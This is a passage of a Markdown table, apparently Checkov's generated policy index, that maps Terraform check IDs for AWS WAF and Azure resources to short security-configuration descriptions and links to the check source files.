CKV2_AWS_75     | resource | aws_waf_size_constraint_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3615 | CKV2_AWS_75     | resource | aws_waf_sql_injection_match_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3616 | CKV2_AWS_75     | resource | aws_waf_web_acl                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3617 | CKV2_AWS_75     | resource | aws_waf_xss_match_set                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3618 | CKV2_AWS_75     | resource | aws_wafregional_byte_match_set                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3619 | CKV2_AWS_75     | resource | aws_wafregional_geo_match_set                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3620 | CKV2_AWS_75     | resource | aws_wafregional_ipset                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3621 | CKV2_AWS_75     | resource | aws_wafregional_rate_based_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3622 | CKV2_AWS_75     | resource | aws_wafregional_regex_match_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3623 | CKV2_AWS_75     | resource | aws_wafregional_regex_pattern_set                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3624 | CKV2_AWS_75     | resource | aws_wafregional_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3625 | CKV2_AWS_75     | resource | aws_wafregional_rule_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3626 | CKV2_AWS_75     | resource | aws_wafregional_size_constraint_set                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3627 | CKV2_AWS_75     | resource | aws_wafregional_sql_injection_match_set                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3628 | CKV2_AWS_75     | resource | aws_wafregional_web_acl                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3629 | CKV2_AWS_75     | resource | aws_wafregional_web_acl_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3630 | CKV2_AWS_75     | resource | aws_wafregional_xss_match_set                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3631 | CKV2_AWS_75     | resource | aws_wafv2_ip_set                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3632 | CKV2_AWS_75     | resource | aws_wafv2_regex_pattern_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3633 | CKV2_AWS_75     | resource | aws_wafv2_rule_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3634 | CKV2_AWS_75     | resource | aws_wafv2_web_acl                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3635 | CKV2_AWS_75     | resource | aws_wafv2_web_acl_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3636 | CKV2_AWS_75     | resource | aws_wafv2_web_acl_logging_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3637 | CKV2_AWS_75     | resource | aws_worklink_fleet                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3638 | CKV2_AWS_75     | resource | aws_worklink_website_certificate_authority_association           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3639 | CKV2_AWS_75     | resource | aws_workspaces_connection_alias                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3640 | CKV2_AWS_75     | resource | aws_workspaces_directory                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3641 | CKV2_AWS_75     | resource | aws_workspaces_ip_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3642 | CKV2_AWS_75     | resource | aws_workspaces_workspace                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3643 | CKV2_AWS_75     | resource | aws_xray_encryption_config                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3644 | CKV2_AWS_75     | resource | aws_xray_group                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3645 | CKV2_AWS_75     | resource | aws_xray_sampling_rule                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3646 | CKV2_AWS_76     | resource | aws_alb                                                          | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                      | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml)                                     |\n| 3647 | CKV2_AWS_76     | resource | aws_lb                                                           | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                      | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml)                                     |\n| 3648 | CKV2_AWS_76     | resource | aws_wafv2_web_acl                                                | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                      | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml)                                     |\n| 3649 | CKV2_AWS_77     | resource | aws_api_gateway_stage                                            | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                     | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 3650 | CKV2_AWS_77     | resource | aws_apigatewayv2_api                                             | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                     | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 3651 | CKV2_AWS_77     | resource | aws_wafv2_web_acl                                                | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                     | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 3652 | CKV2_AWS_78     | resource | aws_appsync_graphql_api                                          | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                  | Terraform | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml)                             |\n| 3653 | CKV2_AWS_78     | resource | aws_wafv2_web_acl                                                | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                  | Terraform | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml)                             |\n| 3654 | CKV_AZURE_1     | resource | azurerm_linux_virtual_machine                                    | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                                                                                                             | Terraform | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py)                                                                                   |\n| 3655 | CKV_AZURE_1     | resource | azurerm_virtual_machine                                          | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                                                                                                             | Terraform | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py)                                                                                   |\n| 3656 | CKV_AZURE_2     | resource | azurerm_managed_disk                                             | Ensure Azure managed disk has encryption enabled                                                                                                                                                         | Terraform | [AzureManagedDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryption.py)                                                                         |\n| 3657 | CKV_AZURE_3     | resource | azurerm_storage_account                                          | Ensure that 'enable_https_traffic_only' is enabled                                                                                                                                                       | Terraform | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsTransportEncryption.py)                                                         |\n| 3658 | CKV_AZURE_4     | resource | azurerm_kubernetes_cluster                                       | Ensure AKS logging to Azure Monitoring is Configured                                                                                                                                                     | Terraform | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLoggingEnabled.py)                                                                                           |\n| 3659 | CKV_AZURE_5     | resource | azurerm_kubernetes_cluster                                       | Ensure RBAC is enabled on AKS clusters                                                                                                                                                                   | Terraform | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSRbacEnabled.py)                                                                                                 |\n| 3660 | CKV_AZURE_6     | resource | azurerm_kubernetes_cluster                                       | Ensure AKS has an API Server Authorized IP Ranges enabled                                                                                                                                                | Terraform | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSApiServerAuthorizedIpRanges.py)                                                                 |\n| 3661 | CKV_AZURE_7     | resource | azurerm_kubernetes_cluster                                       | Ensure AKS cluster has Network Policy configured                                                                                                                                                         | Terraform | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNetworkPolicy.py)                                                                                             |\n| 3662 | CKV_AZURE_8     | resource | azurerm_kubernetes_cluster                                       | Ensure Kubernetes Dashboard is disabled                                                                                                                                                                  | Terraform | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSDashboardDisabled.py)                                                                                     |\n| 3663 | CKV_AZURE_9     | resource | azurerm_network_security_group                                   | Ensure that RDP access is restricted from the internet                                                                                                                                                   | Terraform | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py)                                                                         |\n| 3664 | CKV_AZURE_9     | resource | azurerm_network_security_rule                                    | Ensure that RDP access is restricted from the internet                                                                                                                                                   | Terraform | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py)                                                                         |\n| 3665 | CKV_AZURE_10    | resource | azurerm_network_security_group                                   | Ensure that SSH access is restricted from the internet                                                                                                                                                   | Terraform | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py)                                                                         |\n| 3666 | CKV_AZURE_10    | resource | azurerm_network_security_rule                                    | Ensure that SSH access is restricted from the internet                                                                                                                                                   | Terraform | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py)                                                                         |\n| 3667 | CKV_AZURE_11    | resource | azurerm_mariadb_firewall_rule                                    | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 3668 | CKV_AZURE_11    | resource | azurerm_mssql_firewall_rule                                      | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 3669 | CKV_AZURE_11    | resource | azurerm_mysql_firewall_rule                                      | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 3670 | CKV_AZURE_11    | resource | azurerm_mysql_flexible_server_firewall_rule                      | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 3671 | CKV_AZURE_11    | resource | azurerm_postgresql_firewall_rule                                 | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 3672 | CKV_AZURE_11    | resource | azurerm_sql_firewall_rule                                        | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 3673 | CKV_AZURE_12    | resource | azurerm_network_watcher_flow_log                                 | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | Terraform | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkWatcherFlowLogPeriod.py)                                                                       |\n| 3674 | CKV_AZURE_13    | resource | azurerm_app_service                                              | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py)                                                                             |\n| 3675 | CKV_AZURE_13    | resource | azurerm_linux_web_app                                            | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py)                                                                             |\n| 3676 | CKV_AZURE_13    | resource | azurerm_windows_web_app                                          | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Terraform | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py)                                                                             |\n| 3677 | CKV_AZURE_14    | resource | azurerm_app_service                                              | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py)                                                                                       |\n| 3678 | CKV_AZURE_14    | resource | azurerm_linux_web_app                                            | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py)                                                                                       |\n| 3679 | CKV_AZURE_14    | resource | azurerm_windows_web_app                                          | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Terraform | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py)                                                                                       |\n| 3680 | CKV_AZURE_15    | resource | azurerm_app_service                                              | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py)                                                                               |\n| 3681 | CKV_AZURE_15    | resource | azurerm_linux_web_app                                            | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py)                                                                               |\n| 3682 | CKV_AZURE_15    | resource | azurerm_windows_web_app                                          | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Terraform | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py)                                                                               |\n| 3683 | CKV_AZURE_16    | resource | azurerm_app_service                                              | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py)                                                                                         |\n| 3684 | CKV_AZURE_16    | resource | azurerm_linux_web_app                                            | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py)                                                                                         |\n| 3685 | CKV_AZURE_16    | resource | azurerm_windows_web_app                                          | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Terraform | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py)                                                                                         |\n| 3686 | CKV_AZURE_17    | resource | azurerm_app_service                                              | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py)                                                                       |\n| 3687 | CKV_AZURE_17    | resource | azurerm_linux_web_app                                            | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py)                                                                       |\n| 3688 | CKV_AZURE_17    | resource | azurerm_windows_web_app                                          | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Terraform | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py)                                                                       |\n| 3689 | CKV_AZURE_18    | resource | azurerm_app_service                                              | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py)                                                                             |\n| 3690 | CKV_AZURE_18    | resource | azurerm_linux_web_app                                            | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py)                                                                             |\n| 3691 | CKV_AZURE_18    | resource | azurerm_windows_web_app                                          | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Terraform | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py)                                                                             |\n| 3692 | CKV_AZURE_19    | resource | azurerm_security_center_subscription_pricing                     | Ensure that standard pricing tier is selected                                                                                                                                                            | Terraform | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterStandardPricing.py)                                                                   |\n| 3693 | CKV_AZURE_20    | resource | azurerm_security_center_contact                                  | Ensure that security contact 'Phone number' is set                                                                                                                                                       | Terraform | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactPhone.py)                                                                         |\n| 3694 | CKV_AZURE_21    | resource | azurerm_security_center_contact                                  | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | Terraform | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlert.py)                                                               |\n| 3695 | CKV_AZURE_22    | resource | azurerm_security_center_contact                                  | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | Terraform | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlertAdmins.py)                                                   |\n| 3696 | CKV_AZURE_23    | resource | azurerm_mssql_server                                             | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml)                                                                     |\n| 3697 | CKV_AZURE_23    | resource | azurerm_mssql_server_extended_auditing_policy                    | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml)                                                                     |\n| 3698 | CKV_AZURE_23    | resource | azurerm_sql_server                                               | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Terraform | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml)                                                                     |\n| 3699 | CKV_AZURE_24    | resource | azurerm_mssql_server                                             | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml)                                                     |\n| 3700 | CKV_AZURE_24    | resource | azurerm_mssql_server_extended_auditing_policy                    | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml)                                                     |\n| 3701 | CKV_AZURE_24    | resource | azurerm_sql_server                                               | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Terraform | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml)                                                     |\n| 3702 | CKV_AZURE_25    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that 'Threat Detection types' is set to 'All'                                                                                                                                                     | Terraform | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerThreatDetectionTypes.py)                                                                   |\n| 3703 | CKV_AZURE_26    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that 'Send Alerts To' is enabled for MSSQL servers                                                                                                                                                | Terraform | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsEnabled.py)                                                                       |\n| 3704 | CKV_AZURE_27    | resource | azurerm_mssql_server_security_alert_policy                       | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers                                                                                                                         | Terraform | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsToAdminsEnabled.py)                                                       |\n| 3705 | CKV_AZURE_28    | resource | azurerm_mysql_server                                             | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server                                                                                                                            | Terraform | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerSSLEnforcementEnabled.py)                                                             |\n| 3706 | CKV_AZURE_29    | resource | azurerm_postgresql_server                                        | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server                                                                                                                       | 